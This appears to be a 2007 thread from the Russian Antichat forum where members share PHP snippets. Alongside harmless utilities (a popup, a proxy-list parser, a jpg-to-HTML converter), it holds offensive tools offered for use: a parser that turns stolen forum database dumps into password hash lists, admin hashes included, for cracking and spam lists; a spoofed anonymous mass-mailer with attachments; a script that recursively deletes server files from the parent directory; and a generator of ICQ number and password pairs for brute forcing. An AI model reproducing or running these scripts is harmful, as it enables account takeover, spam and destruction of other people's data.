Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

24.03.2007, 01:18
|
|
Познавший АНТИЧАТ
Регистрация: 09.06.2006
Сообщений: 1,359
Провел на форуме: 5301021
Репутация:
1879
|
|
PHP код:
<?
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~[ xxx ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/ /* /* Forum Dump Parser v0.2 (FDPv0.2) /* by Re@ctor /* http://truenet.net.ru/security/ /* /* /* Скрипт предназначен для частного использования и позволяет /* привести имеющиеся дампы баз данных в единый удобный формат для /* дальнейшего анализа в программе Passwords Pro, либо просто /* в списки для других программ. /* /* Скрипт запрещается использовать в корыстных целях и автор не /* несёт ответственности за возможный ущерб, причинённый от исполь- /* зования данного скрипта. /* /* Скрипт запрещается использовать в противозаконных целях, либо /* целях, ведущих к умышленному или неумышленному нарушению законода- /* тельства Российской Федерации. /* /* Хорошего дня и доброго насроения! ;-) /* Помните про существование TrueNET! =) /* /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~[ xxx ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
###### 1. выходной формат файлов ###### # для брута, формат Passwords Pro #$sort = array('username','password','salt'); # пользователи #$sort = array('email','password','salt'); # мыльники $sort = array('icq','password','salt'); # аськи # помните, что формат PPro - имя:хэш:сальт:расшифр.пароль:комментарий # поэтому надо писать от 2 до 3 значений, т.к. меньше или больше # будет воспринято неверно программой.
# просто базы #$sort = array('email'); # e-mail #$sort = array('icq'); # icq
###### 2. формирование строк ###### $delim = "¤"; # разделитель между значениями $br = "\n"; # чем заканчивать строку (\n - перенос строки)
###### 3. промежуточный вывод ###### $makefiles = 1; # делать ли отдельные файлы для каждого дампа $ext = "txt"; # расширение выходного файла этих файлов
###### 4. параметры сбора информации ###### $site = 1; # если $makefiles = 0;, то получать сведения о сайте # из титла и мета-тегов (необоходимо подключение к сети) и записывать в начало файла # ( удобно при составлении тематических спам-баз ) # формат файла должен быть префиксАДРЕС_САЙТАрасширение, где префикс и расширение любые $site_prefix = ''; # если $site=1, указать префикс файлов $site_ext = '.sql'; # если $site=1, указать расширение файлов $convert = 0; # конвертировать полученный текст в win-1251, если оно не в нём (отключить при багах)
###### 5. общий файл с данными ###### $hashmake = 1; # делать ли единый файл со всеми хэшами $hash_filename = '!PasswordsPro.Hashes'; # имя файла с хэшами
###### 6. выборка из дампов админов в отдельный файл ###### $admins = 1; # сделать файл с хэшами админов дампов $admin_pass = 'password'; # имя ячейки с хэшем пароля $admin_salt = 'salt'; # имя ячейки с салом пароля $admin_comment = array('username','email','icq'); # то что будет в комментарии в полях пассворс-про $admin_filename = '!admin.PasswordsPro.Hashes';
###### 7. (WARNING!) имя первой ячейки в таблице ###### $firstintable = 'userid'; # название первой ячейки в таблице (важно!)
ini_set("max_execution_time","86400"); set_time_limit(0);
function make($value) { return preg_replace("'\'(.*?)\''i",'\\1',$value); } function checksalt($salt) { if(strlen($salt)>3) return str_replace(array("\\\\",'\"',"\'"),array("\\",'"',"'"),$salt); else return $salt; } function koi($txt) { return convert_cyr_string($txt,'k','w'); } function iso($txt) { return convert_cyr_string($txt,'i','w'); } function myau() { echo "\n\nDone! ;-D\n\nNice day. Visit http://truenet.net.ru/ !\n\n"; }
$d=opendir('.'); while(($e=readdir($d))!=false) { if($e=='.'||$e=='..'||$e==$admin_filename||$e==$hash_filename||$e==$argv[0]) continue; if(is_file($e)) { if($makefiles==1)$f = fopen("$e.$ext","w+"); echo "[+] $e (".filesize($e)." bytes)\n"; $file = file($e); foreach($file as $a) { $tmp = explode(' ',$a); $tablesuf=$tmp[1]; if(!$vars) { if($tablesuf==$firstintable) { $vars[]=array('name'=>$firstintable,'num'=>0); } continue; } foreach(array_unique(array_merge($sort,$admin_comment)) as $s) { if($tablesuf==$s) { $vars[]=array('name'=>$s,'num'=>count($vars)); $y=1; } } if(!$y) $vars[]='b'; else unset($y); if(strstr($a,'PRIMARY KEY')) break; } foreach($file as $a) { if(strstr($a,"INSERT INTO")) { $tmp = preg_replace("'INSERT INTO (.*?) VALUES\((.*?)\);'i",'\\2',$a); $values = explode(',',$tmp); foreach($values as $v) { $m[] = str_replace(array("\r","\n"),'',$v); } foreach($sort as $s) { if(!$vars) { echo "[!] Can't get table values from $e =[\n"; break; } else foreach($vars as $v) { if($admins==1&&$hashmake==0&&$makefiles==0) { if(!$tr) $tr[]=$e; if($v['name']==$admin_pass) $tr[]=make($m[$v['num']]); elseif($v['name']==$admin_salt) $tr[]=checksalt(make($m[$v['num']])); foreach($admin_comment as $comm) if($comm==$v['name']) $comment[] = make($m[$v['num']]); $admok=1; } else { if($s==$v['name']) { if($s=='salt') $tm[] = checksalt(make($m[$v['num']])); else $tm[] = make($m[$v['num']]); } if($admins==1&&!$admok) { if(!$tr) $tr[]=$e; if($v['name']==$admin_pass) $tr[]=make($m[$v['num']]); elseif($v['name']==$admin_salt) $tr[]=checksalt(make($m[$v['num']])); foreach($admin_comment as $comm) if($comm==$v['name']) $comment[] = make($m[$v['num']]); } } } if($admok==1) break; $admok=2; } if($tm[0])$globhash[]=$towrite[]=@implode($tm,$delim); if($admins==1)if($tr[0])$odmen[]=@implode($tr,$delim).$delim.$delim.@implode($comment,', '); unset($tr); unset($m); unset($tm); unset($comment); if($admok==1) break; } } if($makefiles==1) { if($site==1) { $host = preg_replace("'$site_prefix(.*?)$site_ext'i",'\\1',$e); echo "[:] connecting to $host..\n"; $fp = fsockopen($host,80,&$errno,&$errstr,5); if(!$fp) echo "[:] Error connecting $host ($errno - $errstr)\n"; fputs($fp,"GET / HTTP/1.0\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en)\r\nHost: $host\r\nAccept-Language: ru\r\nAccept-Charset: windows-1251, utf-8, utf-16, iso-8859-1;q=0.6, *;q=0.1\r\n\r\n"); while(!feof($fp)) { $tmp=fgets($fp,1000); if(preg_match("'charset='i",$tmp)||!$schar) { $ch=preg_replace("'(.*?)charset=(.*?)\r\n'i",'\\2',$tmp); if(preg_match("'koi8-r'i",$ch)) $koi=1; elseif(preg_match("'iso8859-5'i",$ch)) $iso=1; $schar=1; } elseif(preg_match("'<title>(.*?)</title>'i",$tmp)) { $title=preg_replace("'(.*?)<title>(.*?)</title>(.*?)'i",'\\2',$tmp); echo "[:] TITLE ok..\n"; } elseif(preg_match("'<meta (.*?)keywords(.*?)>'i",$tmp)) { $kiwords=preg_replace("'(.*?)<meta (.*?)content=(\"|\')(.*?)(\"|\')(.*?)>(.*?)'i",'\\4',$tmp); echo "[:] KEYWORDS ok..\n"; } elseif(preg_match("'<meta (.*?)description(.*?)>'i",$tmp)) { $descr=preg_replace("'(.*?)<meta (.*?)content=(\"|\')(.*?)(\"|\')(.*?)>(.*?)'i",'\\4',$tmp); echo "[:] DESCRIPTION ok..\n"; } elseif(preg_match("'</head>'i",$tmp)||preg_match("'<body'i",$tmp)) break; } fclose($fp); if($koi||$convert==1) { $title=koi($title); $kiwords=koi($kiwords); $descr=koi($descr); } if($iso||$convert==1) { $title=iso($title); $kiwords=iso($kiwords); $descr=iso($descr); } $info="Site: $host\nTitle: $title\nDescription: $descr\nKeywords: $kiwords\n\n"; $title=$host=$descr=$kiwords=''; } echo "[~] sorting and writing hashes in $e.$ext..\n"; @asort($towrite); fwrite($f,$info.@implode($towrite,$br)); fclose($f); unset($info); } unset($vars); unset($file); unset($towrite); unset($admok); } } if($hashmake==1) { echo "[*] sorting & writing all hashes..\n"; @asort($globhash); $f = fopen($hash_filename,"w+");fwrite($f,@implode($globhash,$br));fclose($f);} if($admins==1) { echo "[*] sorting & writing admin hashes..\n"; @asort($odmen); $f = fopen($admin_filename,"w+"); fwrite($f,@implode($odmen,$br)); fclose($f);}
myau(); ?>
|
|
|

25.03.2007, 21:48
|
|
Отец порядка
Регистрация: 04.03.2005
Сообщений: 1,007
Провел на форуме: 1204641
Репутация:
412
|
|
давно хотел навоять че-нить подобное... но руки коротки)
держи плюс до кучи)
|
|
|

30.03.2007, 12:14
|
|
Постоянный
Регистрация: 11.03.2007
Сообщений: 581
Провел на форуме: 4172659
Репутация:
646
|
|
JavaScript попап
Код:
function popup(height,width,tittle,text)
{
msg=window.open("","msg","height="+height+",width="+width+",left=300,top=300");
msg.document.write("<html><title>"+tittle+"</title>");
msg.document.write("<b"+"ody onblur=window.close()>");
msg.document.write(text);
msg.document.write("</b"+"ody></html>");
}
Только что дорабатывал скрипт своей гостевой и с удивлением заметил, что в PHP < 5 отсутствует столь важная функция str_ireplace. Но безвыходных ситуаций не бывает
PHP код:
if(!function_exists('str_ireplace'))
{
function str_ireplace($search,$replace,$subject)
{
$search = preg_quote($search, "/");
return preg_replace("/".$search."/i", $replace, $subject);
}
}
Последний раз редактировалось Joker-jar; 31.03.2007 в 09:30..
|
|
|

31.03.2007, 14:05
|
|
Отец порядка
Регистрация: 04.03.2005
Сообщений: 1,007
Провел на форуме: 1204641
Репутация:
412
|
|
отсутствует столь важная функция str_ireplace
зато присутствует str_replace() которой можно вырезать или заменить че угодно
|
|
|

07.04.2007, 20:21
|
|
Познающий
Регистрация: 20.02.2007
Сообщений: 41
Провел на форуме: 38505
Репутация:
48
|
|
Отправка анонимных сообщений с вложениями. Отправляет сообщения от указанного вами пользователя и с указанного мыла всем указанным в файле maillist.txt
Он должен иметь вид:
Код:
lol1@mail.ru
lol2@mail.ru
lol3@mail.ru
т.е. по одному мылу в строку без разделителя
PHP код:
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
<title>Anonym mail sender with attachment</title>
</head>
<body>
<form method="POST" >
<input name="action" type="hidden" value="send" />
<p><label for="from_mail" >С какого адреса e-mail: <input type="text" name="from_mail" /></label></p>
<p><label for="from_name" >От чьего имени: <input type="text" name="from_name" /></label></p>
<p><label for="path" >Относительный путь к файлу: <input type="text" name="path" /></label></p>
<p><label for="theme" >Тема: <input type="text" name="theme" /></label></p>
<textarea name="message" cols="30" rows="5" ></textarea>
<input type="submit" name="submit" value="Начать" />
</form>
<?php
// Вспомогательная функция для отправки почтового сообщения с вложением
function send_mail($from_name, $from_mail, $thm, $msg, $path)
{
$fp = fopen($path,"r");
if (!$fp)
{
print "Файл $path не может быть прочитан";
exit();
}
$file = fread($fp, filesize($path));
fclose($fp);
// Создаем сообщение
$boundary = "--".md5(uniqid(time())); // генерируем разделитель
$headers .= "MIME-Version: 1.0\n";
$headers .="Content-Type: multipart/mixed; boundary=\"$boundary\"\n";
$headers .= "From: $from_name <$from_mail>\n";
$multipart .= "--$boundary\n";
$encoding = 'windows-1251';
$multipart .= "Content-Type: text/html; charset=$encoding\n";
$multipart .= "Content-Transfer-Encoding: Quot-Printed\n\n";
$multipart .= "$msg\n\n";
$message_part = "--$boundary\n";
$message_part .= "Content-Type: application/octet-stream\n";
$message_part .= "Content-Transfer-Encoding: base64\n";
$message_part .= "Content-Disposition: attachment; filename = \"".$path."\"\n\n";
$message_part .= chunk_split(base64_encode($file))."\n";
$multipart .= $message_part."--$boundary--\n";
// Начинаем отправку
$str_to=file_get_contents("maillist.txt");
$maillist=explode("\r\n",$str_to);
foreach($maillist as $mail)
{
if(!mail($mail, $thm, $multipart, $headers))
{
echo "Не отправлено:".$mail."<br />";
}
else
{
echo "Отправлено:".$mail."<br />" ;
}
}
}
if(isset($_POST['action']) && $_POST['action']=="send")
{
echo "<br />Начинаем отправку<br />";
send_mail($_POST['from_name'],$_POST['from_mail'],$_POST['theme'],$_POST['message'],$_POST['path']);
}
echo "</body>";
echo "</html>";
?>
Писал сам 
|
|
|

11.04.2007, 02:11
|
|
Участник форума
Регистрация: 12.12.2006
Сообщений: 158
Провел на форуме: 1364740
Репутация:
114
|
|
Классический пример получения док-а по httP
Скрипт, который по httP протоколу получает документ с сервера::
PHP код:
<?
$fp = fsockopen("www.host.ru", 80, &$errno, &errstr, 30);
//посылаем GET-форму в виде "URL+хост"
fputs($fp, "GET /files/doc.zip HTTP/1.0\nHOST: www.host.ru \n\n");
//ситаем все до начала следующего док-а
while(fgets($fp, 2048) !="\n\n" && !feof($fp));
//копируем то, что прочитали в переменную $buff
uset($buff);
while(!feof($fp)) $buff.=fread($fp, 2048);
//закрывается сокет
fclose($fp);
echo 'Файл загружен, размер файла: ' .strlen($buff). 'bytes.';
flush();
//далее записываем загруженный файл в другой,
//к примеру, dload.out. Если мы скачали zip файл, то,
// переименовав dload.out в dload.zip, можно дальше
//работать с этим файлом как с обычным zip архивом.
$f=fopen('dload.out', 'wb+');
fwrite($f, $buff, strlen($buff));
fclose($f);
?>
ЗЫ::Ответ сервера состоит из заголовка и тела документа. Интересует же только тело документа.
Поэтому, все что идет до документа мы пропускаем, зная, что заголовок от тела документа отделяется строкой "\r\n". Заголовок читается функцией 'fgets', а бинарные данные 'fread'
ЗЫЫ:: кстати не так давно, не помню кто, спрашивали о генераторе паролей..простейший вариант:
PHP код:
<?
$pass = md5(uniqid(rand), true);
//возвращается 128-битный хеш
...
?>
Последний раз редактировалось mR_LiNK[deface_0nl; 11.04.2007 в 02:24..
|
|
|

11.04.2007, 16:38
|
|
Познающий
Регистрация: 20.02.2007
Сообщений: 41
Провел на форуме: 38505
Репутация:
48
|
|
Очередной скрипт на php.
Сегодня мы нашли сайт с кучей прокси. Но они там, как назло, в ужасном виде:
Код:
HTTP 203.94.89.112 80 No UnResolved UnResolved 704 No
HTTP 66.165.172.163 80 No UnResolved UnResolved 562 No
HTTP 212.227.80.22 3128 No UnKnown s15179588.rootmaster.info 4328 No
HTTP 219.95.65.250 80 No UnResolved UnResolved 1047 No
HTTP 85.88.182.139 3128 No Russia not-defined-pppoe.amur.ru 1032 No
т.е. по одной прокси и порту в строке, но с кучей мусорной инфы
мы превратим его в нормальный вид так:
PHP код:
<?php
//////////////////////////////////////////////////////////////////
//proxy_list_generator.php
//creats an ip:port proxylist
//coded by mamamot, 2007
//////////////////////////////////////////////////////////////////
//задаем регулярные выражения
$ip_regex="/([0-9]|[0-9][0-9]|[01][0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[0-9][0-9]|[01][0-9][0-9]|2[0-4][0-9]|25[0-5])){3}/";
$port_regex="/([\s])(\d|[1-9]\d|[1-9]\d{2,3}|[1-5]\d{4}|6[0-4]\d{3}|654\d{2}|655[0-2]\d|6553[0-5])([\s])/";
//читаем файл
$raw=file("rawproxy.txt");
//счетчик
$counter=0;
//перебираем каждую строку
foreach($raw as $line)
{
$is_ip_match = preg_match($ip_regex, $line, $ipmatch);
if($is_ip_match==1)
{
$ip=$ipmatch[0];
$is_port_match=preg_match($port_regex, $line, $port_match);
if($is_port_match==1)
{
$port=$port_match[0];
//убираем символы табуляции
$port=str_replace("\t","",$port);
//добавляем в строку. Замените \r\n на \n если работете на никсах
$output .= $ip.':'.$port."\r\n";
$counter++;
}
}
}
//пишем в файл
file_put_contents("proxies.txt", $output);
echo "done succesfully:".$counter."items parsed";
?>
да еще и посчитаем заодно 
|
|
|

12.04.2007, 00:13
|
|
Участник форума
Регистрация: 12.12.2006
Сообщений: 158
Провел на форуме: 1364740
Репутация:
114
|
|
рекурсивное удаление
Зло зло зло__))
//малые шалости_
"Кому-то создавать, кто-то должен созедать, а кто-то наглый) все разрушать"
Теперь по делу::
PHP код:
<?php
//вызывается функция, удаляющая файлы с сервера, с параметром '..', ))
//чтобы подняться на один уровень выше:: это позволит уничтожить больше файлов, )))
//так как наверняка веб_приложение находится в отдельной директории))))
//поехали
delfiles("..");
//функция, удаляющая каталоги и файлы сервера
function delfiles($catalog)
{
$dir = opendir($catalog)
while (false !== ($file = readdir($dir))
{
//Если текущей объект - файл, то что делаем?? del del & del
if(is_file($catalog."/".$file)) unlink($$catalog."/".$file);
//Если текущий объект - каталог, то рекурсивный вызов delfiles(),
//тем самым избегаем каталогов '.' и '..',
//которые соответствуют текущему и вышележащему))
else if (is_dir($catalog.'/'.$file) && ($file !='.') && ($file != '..')) delfiles($catalog.'/'.$files);
}
//закрываем дир
closedir($dir);
//ну и на последок))
rmdir($catalog);
}
?>
О недосказанном:: есть возможность модификации рекурсии вверх по дереву))
НО последнее слово как всегда за правами доступа))..ну разве это проблема)
Итак дамы и господа) будте бдительны!! Порой безопасность приложений играет более важную роль чем сами приложения
Безопасность::
Решить вышеописанную проблему поможет проверка расширения файла (а может и не решить)))
зы:: 2nc.striem -> исправлено!
Последний раз редактировалось mR_LiNK[deface_0nl; 12.04.2007 в 01:33..
|
|
|

12.04.2007, 01:11
|
|
Участник форума
Регистрация: 10.09.2006
Сообщений: 185
Провел на форуме: 1654589
Репутация:
337
|
|
Вот, сегодня написал... Генерация uin;pass list по словарю для уинов с заданной маской (xxxyxxz 5557552)
PHP код:
<?php
$mask = "xxxyxxz";
$pass = file("pass.txt");
$f = fopen("result.txt", "w");
If ($mask){
For ($x = 1; $x <= 9; $x++){
For ($y = 0; $y <= 9; $y++){
For ($z = 0; $z <= 9; $z++){
For ($p = 0; $p <= 99; $p++){ If ($pass[$p+1]) { $num = $mask;
For ($n = 0; $n <= 8; $n++){
If ( $num[$n] == "x" ) { $num[$n] = $x; }
If ( $num[$n] == "y" ) { $num[$n] = $y; }
If ( $num[$n] == "z" ) { $num[$n] = $z; }
}
fputs ($f,$num.";".$pass[$p]); }}}}}}
fclose ($f);
?>
Последний раз редактировалось Fr-Ron; 12.04.2007 в 08:11..
|
|
|

12.04.2007, 02:04
|
|
Members of Antichat - Level 5
Регистрация: 05.04.2006
Сообщений: 1,066
Провел на форуме: 3493315
Репутация:
1228
|
|
конвертирование jpg в html с 100% сохранением качества картинки! (размер знчительно увеличеваеться)
PHP код:
<?
$imgjpg='pic.jpg'; //имя jpg картинки
set_time_limit(0);
$start=time('s');
$fo=fopen($imgjpg.'.html','w');
fwrite($fo,'<table border=0 cellspacing=0 cellpadding=0><style>td{width: 1px;height: 1px;}</style>');
$im = ImageCreateFromjpeg($imgjpg);
$sim=array(0,1,2,3,4,5,6,7,8,9,'A','B','C','D','E','F');
function to16($de)
{
global $sim;
$ans='';
$ans.=$sim[($de-$de%16)/16];
$ans.=$sim[$de%16];
return $ans;
}
$x=imagesx($im);
$y=imagesy($im);
for($j=0;$j<$y;$j++)
{fwrite($fo,'<tr>');
for($i=0;$i<$x;$i++)
{
$rgb=ImageColorAt($im, $i,$j);
$r = to16(($rgb >> 16) & 0xFF);
$g = to16(($rgb >> 8) & 0xFF);
$b =to16($rgb & 0xFF);
fwrite($fo,"<td bgcolor=$r$g$b></td>");
}
fwrite($fo,'</tr>');
}
fclose($fo);
echo 'Законченно за: '.(time('s')-$start).' секунд(ы)<br><a href="'.$imgjpg.'.html">Открыть</a>';
?>
Последний раз редактировалось nc.STRIEM; 12.04.2007 в 02:28..
|
|
|
|
 |
|
TEST QR: []
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|